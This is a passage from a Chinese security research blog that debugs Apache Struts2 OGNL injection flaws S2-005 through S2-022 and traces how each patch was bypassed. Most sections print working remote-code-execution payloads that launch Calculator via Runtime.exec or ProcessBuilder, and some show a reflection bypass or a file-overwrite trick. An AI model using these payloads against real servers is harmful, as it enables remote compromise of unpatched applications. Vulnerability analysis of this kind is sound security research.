当然也可以根据上面的分析随意改成自己喜欢的样子。这里有一点要注意的是,可以看到第二个 payload 没有直接使用 @ 调用静态方法的方式,而是使用了 #su= 进行了赋值,这是因为在 OGNL 对参数解析时,静态方法的解析会排在其他方式的前面,这就导致了还没修改 context 里的值,导致无法执行,所以先进行了赋值。主要的原因是 TreeMap 的默认排序是按照 key 的字典顺序排序即升序。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

S2-005

官方在 struts2-core 2.0.12 对 S2-003 进行了修复,实际上是 xwork 2.0.6 版本修复。S2-005 是对 S2-003 修复的绕过。

影响版本:Struts 2.0.0 – Struts 2.1.8.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-005 描述:为了修复 S2-003,官方添加了 SecurityMemberAccess ,但是没有从根本上进行修复漏洞。

先来 diff 一下更新,在 ParametersInterceptor#setParameters 方法,使用了 ValueStackFactory 为当前值栈重新初始化 ValueStack,不再使用原有的 ValueStack,并为其设置了相关属性,包括新增的 acceptParams 和 excludeParams 是接收访问的参数名白名单和黑名单。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

新增了 MemberAccessValueStack 和 ClearableValueStack 接口,由 OgnlValueStack 实现,用来配置额外的属性和清除 context 中的内容,并为 OgnlValueStack 添加了新的 allowStaticMethodAccess 和 securityMemberAccess 属性,用来限制静态方法的调用。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在为 ValueStack 设置 root 时,会创建 SecurityMemberAccess 对象,并调用 Ognl.createDefaultContext() 方法将其放在 Context 里,key 为 OgnlContext.MEMBER_ACCESS_CONTEXT_KEY,也就是 _memberAccess

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 OGNL 解析完表达式,试图调用方法时,会调用 MemberAccess 的 isAccessible() 方法来判断是否允许调用,xwork 创建了 SecurityMemberAccess 对象继承自 DefaultMemberAccess 并重写了这个方法,因此,我们需要让这个方法返回 true,才能执行最终的方法。

我们先使用 S2-003 的 payload 再打一次,看一下调用流程:

首先在ParametersInterceptor#setParameters 方法创建新的 ValueStack,里面 securityMemberAccess 的 allowStaticMethodAccess 默认为 true,excludeProperties 里有一个数据,是在配置文件中读出来的参数名的黑名单,acceptProperties 中没有数据。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 payload 的第一步设置 denyMethodExecution 为 false 没有问题,第二步调用方法前执行 isAccessible() 判断,由于 allowStaticMethodAccess 为 true ,所以 !getAllowStaticMethodAccess() 返回false,程序调用父类 DefaultMemberAccess 的 isAccessible() 方法判断调用的类是不是 public 属性,由于我们调用的 Runtime.getRuntime() 没有问题,所以这步判断也直接过了,接下来程序会调用到 isAcceptableProperty() ,会进行两个判断:isAccepted() 和 isExcluded() :

  • isAccepted():判断参数名是否在白名单中,如果白名单为空,则返回 true;如果白名单不为空,则进行匹配,匹配到了就返回 true,匹配不到就返回 false;
  • isExcluded() :判断参数是否在黑名单中,如果匹配到了,则返回 true,如果没匹配到或黑名单为空,则返回 false。

在这种判断下,只有当 isAccepted() 返回 true,isExcluded() 返回 false 的情况下,才能调用方法,最好的方式是黑白名单都为空,这样直接绕过判断。

由于 MethodAccessor#callMethod/callStaticMethod 时传入的 propertyName 为 null,所以进行判断的参数 paramName 为 null,会触发空指针异常,中断调用流程。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

所以我们需要将 excludeProperties 设置为空集,绕开判断,其他不变,与 S2-003 保持一致。最好的 payload 是再将 acceptProperties 设为空集,allowStaticMethodAccess 设置为 true,用来兼容多种情况。因此,最终的 payload 为:

(%27\u0023_memberAccess.allowStaticMethodAccess\u003dtrue%27)(su18)(su19)&(%27\u0023_memberAccess.acceptProperties\[email protected]@EMPTY_SET%27)(su20)(su21)&(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(su22)(su23)&(%27\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET%27)(su24)(su25)&(%27\u0023su26\[email protected]@getRuntime().exec(\%27open\u0020/System/Applications/Calculator.app\%27)%27)(su27)(su28)

当然了,这是执行命令的 payload,如果只是想读取/修改 context 中的内容的话就不需要这么麻烦了。

S2-007

用字符串拼接还不进行处理,yyds。

影响版本:Struts 2.0.0 – Struts 2.2.3 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-007 描述:关于表单我们可以设置每个字段的规则验证,如果类型转换错误时,在类型转换错误下,拦截器会将用户输入取出插入到当前值栈中,之后会对标签进行二次表达式解析,造成表达式注入。

可以为 field 配置验证规则,这里使用了 S2-007 的靶场进行调试,如下可看到为 age 配置了类型和大小限制:

<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

此时如果输入不正确的数据类型,会校验失败并提示:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

此时程序会进入 struts 拦截器栈中的 ConversionErrorInterceptor#intercept() 方法,这个方法从 context 中获取类型转换错误的字段键值对

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

拿出这些类型转换错误的键值对,创建了一个新的 HashMap fakie,并将其储存进去,储存之前对参数值进行了处理,调用了 getOverrideExpr() 方法在参数值前后加了引号。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

把 fakie 放在了 context 中的 original.property.override 中,创建了一个 PreResultListener,在 Action 完成控制处理之后,将 fakie 取出放入 stack 的 overrides 中,在后面 findValue() 时,会取出其中的值并解析。

所以这个漏洞的触发点,其实和 S2-001 是一样的,是在 doEndTag() 解析时回填用户输入时进行 OGNL 解析触发的,但是取值的方式不同: S2-001 是从 ValueStack 中的 root 对象直接取值,而 S2-007 由于类型验证失败,用户输入值没法放到 Action 对象中,那怎么办呢?

就是上面提到的 overrides,程序将用户输入前后添加单引号处理成字符串,然后放在 context 和 stack 对象中,在 doEndTag() 解析对应的参数 %{age} 时,会调用 lookupForOverrides() 方法在 stack 中取回用户输入。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

然后调用 getValue() 方法实际上就是 Ognl.getValue() 方法解析字符串。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

因此我们只需要闭合 getOverrideExpr() 方法添加的单引号,即可构成 OGNL 注入,由于这个方法使用了字符串拼接的方式,所以最终的 payload 为:

' + (#_memberAccess["allowStaticMethodAccess"]=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean("false"),@[email protected](@[email protected]().exec('open -a Calculator.app').getInputStream())) + '

这个 payload 由于是直接写 OGNL 表达式,不用那么多复杂的变化,所以比较简单。

除了 ConversionErrorInterceptor,还有一个类能触发类型转换错误,那就是 RepopulateConversionErrorFieldValidatorSupport,原理相同,此处略过。

S2-008

S2-008 还是对 S2-003 的绕过。

影响版本:Struts 2.0.0 – Struts 2.3.17 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-008 描述:官方文档提出了 4 种绕过防御的手段,其中关注比较多的是 Debug 模式导致的绕过。

通过 S2-003/S2-005 ,Struts 2 为了阻止攻击者在参数中植入恶意 OGNL,设置了 xwork.MethodAccessor.denyMethodExecution 以及 SecurityMemberAccess.allowStaticMethodAccess,并使用白名单正则 [a-zA-Z0-9\.][()_']+ 来匹配参数中的恶意调用,但是在一些特殊情况下,这些防御还是可以被绕过。

官方文档描述了四种情况:

  1. Struts <= 2.2.3 ExceptionDelegator RCE:看了一下,指的就是 S2-007。
  2. Struts <= 2.3.1 CookieInterceptor RCE:acceptedParamNames 没有应用到 Cookie 拦截器上,而 cookie 名也同样会被解析。

接下来跟一下 CookieInterceptor 的逻辑:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

从 ServletActionContext 获取当前的 request 对象,并获取当前请求的 Cookie 对象数组,循环这个数组,在里面取得 name 和 value,调用 populateCookieValueIntoStack() 方法,顾名思义,将 cookie 值放入值栈中,最终调用 stack.setValue() 方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

由于 CookieInterceptor 不在默认拦截器栈中,因此需要我们进行配置:

<interceptor-ref name="defaultStack" />
<interceptor-ref name="cookie">
        <param name="cookiesName">*</param>
        <param name="cookiesValue">*</param>
</interceptor-ref>

而大多 Web 容器对 Cookie 名称都有字符限制,例如 tomcat 不允许出现以下字符:

 public static final char SEPARATORS[] = { '\t', ' ', '\"', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' };

这基本上阻拦了 ognl 调用的方式,想了一下确实没有想到能绕过的方式。略过。

  1. Struts <= 2.3.1 ParameterInterceptor 任意文件覆盖:这是一种思路的拓展,由于 acceptedParamNames 正则允许了括号,因此可以调用一些构造方法可以执行操作的类,比如使用 FileWriter 的构造方法传入文件名可以直接创建这个文件或者清空其内容:name=/tmp/1.txt&su18[new+java.io.FileWriter(name)]=1 这里需要注意的是,如果 FileWriter 的参数直接写文件名的话,无法跳出执行目录,因为正则不允许使用 “\” 或者 “/”,所以无法使用相对路径或者绝对路径,但是我们可以使用当前请求 action 的参数,因为这些参数会被放入 ValueStack 的 root 中,无需 # 即可调用。当然这里也可以使用 (one)(two) 的方式,与之前一致。
  2. Struts <= 2.3.17 DebuggingInterceptor RCE

严格意义上来讲,这并不算是一个漏洞,在应用程序配置成为了 devMode 时,开发人员提供了一个拦截器 DebuggingInterceptor 来进行调试,提供了执行命令等功能,按理来说生产环境上是不应该使用开发模式,但这算一种风险。

在 struts.xml 上进行配置即可开启 devMode :<constant name="struts.devMode" value="true" />

开启之后,会成功进入 DebuggingInterceptor#intercept 的相关逻辑,首先取得 request 中的参数 “debug”,这个参数可以有 4 种值,分别对应了 DebuggingInterceptor 提供的四种功能。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

debug=xml :从 ServletActionContext 中获取 response 对象,把一些 context 中的内容以 xml 的格式打印出来。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

debug=command&expression=:非常清晰的漏洞调用点,如果参数 debug 是 command ,取参数 expression 的值,并调用 stack.findValue() 进行解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

debug=console:如果参数 debug 是 console,struts2 调用 freemarker 跳转了 org/apache/struts2/interceptor/debugging/console.ftl 的 html 模板。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

模板引入了 struts/webconsole.html ,我们也可以直接访问这个路径来访问这个页面

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个页面提供了一个黑色的交互页面,可以输入 ognl 表达式,解析结果会返回在页面上,而这个功能的实现实际上是使用了 debug=command&expression= 的功能。

  • debug=browser&object=:如果参数 debug 是 browser,取参数 object 的值,如果没有默认为 #context,并调用 stack.findValue() 进行解析,结果也是使用了 freemarker 的 /org/apache/struts2/interceptor/debugging/browser.ftl 进行展示。
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

由上可知,开启 debug 模式后将会有两个 RCE 的点。

S2-009

S2-009 是对 S2-005 的绕过,但是不同的是,S2-009 是参数值注入,对于 S2-003/S2-005 都是参数名的 OGNL 注入,这次的漏洞出在参数值上。

影响版本:Struts 2.0.0-Struts 2.3.1.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-009 描述:由于 ParametersInterceptor 对参数名进行了过滤,对参数值没有进行过滤,结合其正则可以使用 () 和 [] 的特性,以及 Struts Action 参数会被放在 ValueStack Root 里可以不使用 # 调用的特性,可以绕过校验。

在 S2-008 的第三种情况中,我使用了在 action 参数中填入路径,用来规避正则校验的方法,但是小了,格局小了,这一特性可以直接用来绕过对参数值的校验。由于在进行 acceptableName 判断时,使用了如下正则对参数名进行判断,而对参数值没有进行判断:

private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

这样就导致了安全漏洞,由于 Struts Action 参数会被直接放在 ValueStack 里,因此可以不使用 # 调用,可以直接构造 payload :

param=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true,@[email protected]().exec("open -a Calculator.app"))(su18)&(param)(su20)

在有些文章中使用了payload:one[(two)(three)],在 OGNL 解析这个表达式时,他本身是 ASTChain,首先会解析成为两个 ASTProperty :one 和 [(two)(three)],然后分别调用他们的 ASTProperty#setValue 方法,经过一系列的调用,最后调用 getProperty() 方法获取值,并调用 OgnlRuntime.getProperty() 获取对应的属性,对于 [(two)(three)] 来说,解析成为 ASTEval 之后的过程与之前分析的无异,会将 three 中内容作为 two 的 root 对象来执行。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

简单来说使用 one[(two)(three)] 表达式,会对 two 进行二次解析。

因此构造如下,或者类似 "su17[('@[email protected]().exec(#su19)')(#su19='open -a Calculator.app')]" ,即可弹出计算器。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

除了使用之前熟悉的 ASTEval 的 payload ,官方通报了一种新的表达式执行方式: top['foo'](0),在上下文中,可以用 top 来访问 Action 中的成员变量,这种方式会对 foo 进行二次解析。

这种方式正好对应了我们的思路,使用一个 String 类型的 Action 参数,在值中写入恶意代码,然后通过 top 调用并进行二次解析,造成 OGNL 注入漏洞。

那为什么 top 可以访问呢?来调试研究一下,首先 top['foo'](0) 会被解析成 (top['foo'])(0) 这个 ASTEval 的形式,并分隔成为两段,其中 top['foo'] 是 ASTChain 对象。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个对象又会被解析成 top 和 ['foo'] 两个 ASTProperty 对象,会调用 OgnlRuntime.getProperty() 获取其值,取值的方式是调用 PropertyAccessor 的实现类的 getProperty() 方法,对于目前的情况下,是 CompoundRootAccessor,在这个实现类中,判断如果名称是 top 的情况下,会返回 root 中的第一个对象。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

而第一个对象就是 Action 对象,里面存放了参数信息,可以直接调用到,所以在这里 payload 也可以为

param=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true,@[email protected]().exec("open -a Calculator.app"))(su18)&top["param"](0)

前言

书接上回,本篇记录 s2-012/s2-013/S2-014/s2-015/s2-016/s2-018/s2-019/s2-020/s2-021/s2-022/s2-026/s2-032/s2-033/s2-037 的调试过程。

S2-012

漏洞触发原理与 S2-001 类似,对 %{} 表达式进行了循环解析。

影响版本:Struts Showcase App 2.0.0 – Struts Showcase App 2.3.14.2 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-012 描述:当配置重定向结果从 stack 中读取并使用之前注入的代码作为重定向参数时,将导致表达式的二次解析。

在 struts.xml 中配置成如下,

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

Struts2 使用 StrutsResultSupport 的子类 ServletRedirectResult 类处理 redirect 结果,execute() 方法调用 conditionalParse() 方法去解析 this.location,也就是我们配置的 /index.jsp?name=${name},调用了 TextParseUtil.translateVariables() 方法去解析,后续的解析逻辑与 S2-001 一致,不再重复,导致了二次解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

此版本中构造 payload 别忘了调用静态方法时需要将 _memberAccess 的 allowStaticMethodAccess 设置为 true。最终的 payload 为:

%{#_memberAccess["allowStaticMethodAccess"]=true,@[email protected]().exec("open -a Calculator.app")}

或者:

%{new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()}

在看到第二种 payload 时,我人直接傻了,在之前的版本中为了绕过判断执行静态方法做了这么多尝试,却忘记了使用 ProcessBuilder 这种构造方法传递参数,然后调用 start 方法来执行命令。

这种情况就可以省略 _memberAccess 字段的修改,只需要修改 denyMethodExecution 即可,例如 S2-009 的 payload 就可以直接写为:

param=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,new java.lang.ProcessBuilder(new java.lang.String[]{"open","-a","Calculator.app"}).start())(su18)&(param)(su19)

没想到啊没想到,妙啊妙啊。

S2-013

S2-013 也是 Struts2 链接标签解析导致的漏洞。

影响版本:Struts 2.0.0 – Struts 2.3.14.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-013 描述:Struts2 链接标签转发请求参数时会对参数名和参数值进行解析,造成 OGNL 注入漏洞。

Struts2 中使用链接标签 <s:a> 和 <s:url> 来渲染链接,使用 url 标签可以引入一个静态路径或 action ,使用 a 标签可以直接渲染一个 a 链接。

在这两个标签中,存在一个属性 includeParams,有三个属性值:

  • none:URL 中不包含参数。
  • get:包含 URL 中的 GET 参数。
  • all:包含 URL 中的 GET 和 POST 参数。

这个属性的作用是将请求当前页面的参数转发到标签中的链接中,例如 jsp 中使用 a 标签指向 action:

<s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a>

此时访问 jsp 文件所带的参数,就会被解析到渲染出来的 a 标签中,如下图:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

而就是这个解析的过程中,产生了漏洞。先跟一下处理逻辑:

  • ComponentTagSupport#doStartTag() 方法开始解析标签,会调用对应的组件也就是 Anchor 的 start 方法。
  • 接着调用 evaluateParams 以及 evaluateExtraParams 方法,在这个方法中,会依次调用 UrlRenderer 的 beforeRenderUrl() 和 renderUrl() 来渲染链接标签中的 URL。
  • 实际上调用的是实现类 org.apache.struts2.components.ServletUrlRenderer 的方法,在 beforeRenderUrl() 中可以看到,includeParams 默认为 GET,根据其不同配置,将会进行不同的处理,最后会调用 mergeRequestParameters() 将 context 中的参数处理后缓存到一个 UrlProvider 对象中。
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结
  • beforeRenderUrl() 处理完,将调用 renderUrl(),最后调用 UrlHelper.buildUrl() 方法构造 URL 。

而 S2-013 的漏洞点,就出在对 URL 的处理函数中,buildUrl() 方法调用 buildParametersString() 方法,又调用 buildParameterSubstring() 方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

其中一个重要的处理调用方法为 translateAndDecode() ,这个方法调用 translateVariable() 方法:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

而这个方法获取全局 ValueStack,并调用 TextParseUtil.translateVariables() 方法解析输入,这个方法我们很熟悉了,不再赘述。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这样就暴露出了漏洞点:translateAndDecode 在beforeRenderUrl 时由 parseQueryString 方法调用一次,在 renderUrl 时又由 buildUrl 调用一次,导致调用了两次,所以对请求参数名和参数值都进行了二次解析,导致了 OGNL 注入。

漏洞触发需要参数 includeParams 设置为 get/all,在参数名和参数值中都可以触发,最终 payload 为:

%{#_memberAccess["allowStaticMethodAccess"]=true,@[email protected]().exec("open -a Calculator.app")}

与 S2-012 的 payload 一致。

S2-014

而 S2-014 是对 S2-013 修复不足的绕过。

影响版本:Struts 2.0.0 – Struts 2.3.14.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-014 描述:官方文档描述 Struts 2.3.14.1 版本修复 S2-013 不完全,在S2-014 中为其进行了完全的修复。

根据网上技术文章的描述,在Struts 2.3.14.1 版本中对 %{(exp)} 格式的 OGNL 执行进行了限制,于是出现了 ${exp} 格式的攻击方式。

这部分我直接使用 Struts 2.3.14.1 版本进行测试,发现也没有对 %{(exp)} 这种进行阻拦,花费了一天的时间看源码也没有发现对格式有校验的地方,期待与对这个点有研究的师傅们交流。

由于 UrlHelper#translateVariable() 方法调用的是只有两个参数的 TextParseUtil.translateVariables() 方法。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个方法指定 openChars 可以为 $ %,所以可以除了使用 %{} ,也可以使用 ${} 包裹表达式。因此 payload 为:

${#_memberAccess["allowStaticMethodAccess"]=true,@[email protected]().exec("open -a Calculator.app")}

S2-015

Struts2 返回结果时,将用户可控的参数拿来解析,就会导致漏洞。

影响版本:Struts 2.0.0 – Struts 2.3.14.2 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-015 描述:S2-015 官方公告公布了两种漏洞利用方式,一种是通配符匹配 action ,一种是在 struts.xml 中使用 ${} 引用 Action 变量导致的二次解析。

在使用 struts2 时,每一个action 都需要配置,每一个 action 里面的方法以及其返回到的界面都需要配置,如果一个一个配置,就太麻烦了,因此可以约定一些命名规范,然后在 struts.xml 里面使用通配符进行配置。

在 Struts2 中可以使用通配符 * 来匹配 action,并使用 {1} 来获取 * 的值,这有点像正则的匹配模式,如下配置:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

其中还可以使用多个 * 进行匹配,例如:*_*,这样就可以使用 {1} 和 {2} 来获取其中的值。

经过了以上配置后,我们再来跟一下访问流程:

  • StrutsPrepareAndExecuteFilter#doFilter 方法预处理请求,调用 PrepareOperations#findActionMapping ,调用 ActionMapper#getMapping 方法处理请求 action。
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

调用 this.dropExtension 将 extensions 中的扩展后缀也就是 action 剪掉,并将这 action 以键值对的方式储存在 ActionMapping 中,然后还会调用 parseNameAndNamespace() 、handleSpecialParameters() 、最后使用 parseActionName() 处理动态调用的情况

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

处理中间调用流程,在我们的配置中,使用 * 匹配了全部的 action 地址,并返回 {1}.jsp ,这些信息放在了 ResultConfig 对象中,最后处理结果时将会进行解析和渲染:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

DefaultActionInvocation 的 executeResult 方法 调用 StrutsResultSupport 的 execute() 方法 调用 conditionalParse() 最后调用 TextParseUtil.translateVariables() 方法解析这个地址。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

可以看到此漏洞最终触发点实际上与 S2-012 是一致的。

需要注意的是,在 Struts 2.3.14.2 中,官方将 SecurityMemberAccess 类中成员变量 allowStaticMethodAccess 添加了 final 修饰符,并且将其 set 方法进行了删除。这就导致了我们不能通过 #_memberAccess["allowStaticMethodAccess"]=true 来改变其值,因为没有 set 方法了。但是至少有两种思路进行绕过:

  • 使用反射修改其值:#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
  • 使用非静态方法调用 POC:new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()

因此最终 payload 为:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@[email protected]().exec('open -a Calculator.app')}.action

当然此处使用 % 或 $ 均可。

S2-015 中还通报了另一种导致漏洞的点,官方给出的漏洞范例如下:

<result type="httpheader">
    <param name="headers.foobar">${message}</param>
</result>

当用户输入参数被用来配置返回结果时,会遭到二次解析,这与上一个点的漏洞原理是相通的。

在处理返回结果时,处理响应包头部信息使用 HttpHeaderResult 类的 execute() 方法,取得${message} 的内容,然后调用 TextParseUtil.translateVariables() 进行解析。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

payload 与之前一致。

S2-016

与 S2-012 触发点一致,但入口点不同的漏洞。

影响版本:Struts 2.0.0 – Struts 2.3.15 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-016 描述:Struts2 提供了在参数中使用 redirect:redirectAction: 前缀指定应用程序重定向路径或 action 的功能,处理重定向结果时没有过滤直接使用 OGNL 解析道导致出现漏洞。

在 DefaultActionMapper 中,定义了一些 PREFIX 常量,用来标识一些不同的前缀:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个类中还存在一个成员属性 prefixTrie ,它是一个 PrefixTrie 对象,他用来将不同的前缀与不同的对象相匹配,这个属性会在 DefaultActionMapper 的无参构造方法中进行初始化。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

我们发现其将不同的前缀分别对应到了不同的 ParameterAction 类中,分别实现了不同的 execute() 方法:

  • method::将参数 key 字符串去掉前缀,并使用 ActionMapping 的 setMethod() 方法设置;
  • action::将参数 key 字符串去掉前缀,并在其中寻找 “!”,如果存在 “!”,则进行字符串分隔,前面是 method,后面是 name,分别使用 setMethod() 和 setName() 进行设置;
  • redirect::将参数 key 字符串去掉前缀,创建一个新的 ServletRedirectResult,将 key 使用 setLocation() 中,将 ServletRedirectResult 对象放在 ActionMapping 中;
  • redirectAction::与 redirect: 逻辑一致,只不过在其后面添加了 action 后缀。

在 S2-015 的漏洞分析中提到过, StrutsPrepareAndExecuteFilter#doFilter 方法会调用到handleSpecialParameters() 方法来处理一些特殊的参数值,其中就包括了以 “.x/.y” 结尾和存在特殊前缀的访问:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

使用 prefixTrie 的 get() 方法来匹配是否包含相关前缀,并调用保存在其中的类的 execute 方法,就是 DefaultActionMapper 中初始化的那些类的相关方法。

这个处理给 Struts2 提供了通过控制请求参数来修改应用程序调用逻辑的功能:

  • method:指定调用某个方法
  • action:指定调用某个 action 的某个方法
  • redirect:指定应用程序重定向位置
  • redirectAction:指定应用程序重定向的 action

而就是这个功能,导致了漏洞:对于 redirect 和 redirectAction 前缀,在处理时将会创建 ServletRedirectResult 类,并会将前缀后面的内容使用 setLocation() 设置到结果对象中,在处理结果时将会使用 execute() 方法调用 conditionalParse() 方法去解析 this.location,与 S2-012 漏洞触发点完全一致。

因此最终 payload 为:

redirect:%{#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@[email protected]().exec('open -a Calculator.app')}

或者:

redirectAction:%{new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()}

同样地,再次漏洞中使用 % 或 $ 均可。

S2-018/S2-019

两个在网上没什么分析的洞,但是影响应该也不小。

影响版本:Struts 2.0.0 – Struts 2.3.15.2、Struts 2.0.0 – Struts 2.3.15.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-018、https://cwiki.apache.org/confluence/display/WW/S2-019 描述:推测为 S2-016 漏洞的延续。

在 S2-018 中,官方描述漏洞影响为“Permissions, Privileges, and Access Controls”,漏洞评级为 “Important” ,因此应该是一个较高危害的漏洞,通过漏洞描述以及修复来看,这应该是针对 action: 前缀引发的漏洞,攻击者通过使用精心构造的action: 可以绕过访问控制限制。

在 S2-019 的官方通报中,描述漏洞影响为“Dynamic method executions”,修复方案将 struts2-core 包中的 default.properties 配置中的 struts.enable.DynamicMethodInvocation,在 Struts 2.3.15.2 之后,默认值被设置为 false,其他版本也可以在 struts.xml 中使用如下配置:

<constant name="struts.enable.DynamicMethodInvocation" value="false"/>

而这个参数从名字就可以看出来,这是动态方法调用的 flag,也就是对应着 action: 和 method:两个前缀。

由此可以推测,S2-018/S2-019 可能是对 S2-016 的延续,对 action: 和 method: 两种前缀挖掘出了恶意利用的方式,但还是存在一定的限制性。

对于 S2-018,我看到了官方的修复方案中,提到了关于 action 前缀的命名空间的修复,结合漏洞描述,我猜测可能与使用 action: 前缀跨命名空间调用相关,于是我简单写了这样一个 demo:

  • 创建了 TestAction、Test2Action 两个 action,execute() 方法直接返回 success;
  • 在 struts.xml 中为两个 action 配置不同的 namespace,如下图;
Java Web安全之Java web常见漏洞-Struts2漏洞调试总结
  • 两个 action 分别调用了不同的 jsp 显示不同的内容,TestAction->test.jsp->su18,Test2Action->test2.jsp->su17。

接下来我们尝试调用,正常访问没有问题:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

然后我们尝试在访问 test2.action 时使用 action 前缀调用 test.action 的 execute() 方法,应用程序报错:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

报错声明对于命名空间 /su18 ,找不到名为 test 的 action,那我们直接访问路径为:http://localhost:8080/test2.action?action:test!execute,或者直接访问:http://localhost:8080/aaaaa.action?action:test!execute,发现可以访问到同一命名空间中的 test action。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这种情况表面上访问了 aaaaa.action,实际上访问了 test.action,这就已经有点挂羊头卖狗肉的意思的了,但这种情况还没有跨出 namespace 。

那如何访问不同命名空间中的方法呢?这里偷懒直接看一下 diff:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

发现在更新后,对 action: 前缀后面的值处理了 “/”,并对包含 “/” 的值进行了截取。

S2-020/S2-021/s2-022

官方接收了各个安全团队的报告后更新了它的正则。

影响版本:Struts 2.0.0 – Struts 2.3.16.1、Struts 2.0.0 – Struts 2.3.16.3 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-020、https://cwiki.apache.org/confluence/display/WW/S2-021、https://cwiki.apache.org/confluence/display/WW/S2-022 描述:对参数处理时的 class/ClassLoader 进行了限制。

S2-020 修复了一个 DOS ,我们不关注这个,略过。我们关心 class/ClassLoader 相关的漏洞。

这里我们使用 2.3.16.1 进行测试,我们看到,在 ParametersInterceptor 中,Struts2 对参数名校验的正则为:

\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*

这样的正则,其实上还是可以在一定程度上修改 context 及 root 中的内容,例如:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

而且这个正则允许 a.b.c.d.e 的参数形式:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这种形式能造成什么危害呢?

在 OGNL 中,可以直接使用变量名访问 root 对象中的内容,是因为程序会在 root 对象中尝试寻找对应的变量以及 get/set/is 方法:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

因此,我们可以直接使用 class 关键字获取 root 的 Class 对象,因为会调用 getClass() 方法,这个方法每个类都有,并可以通过这个方法访问其 ClassLoader 对象等等,如下图:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在 struts2 中, root 对象是当次访问的 Action 对象,而其 ClassLoader 通常由运行环境所提供,例如在 Tomcat 下,这个 ClassLoader 应该为当前应用所使用的:org.apache.catalina.loader.WebappClassLoader

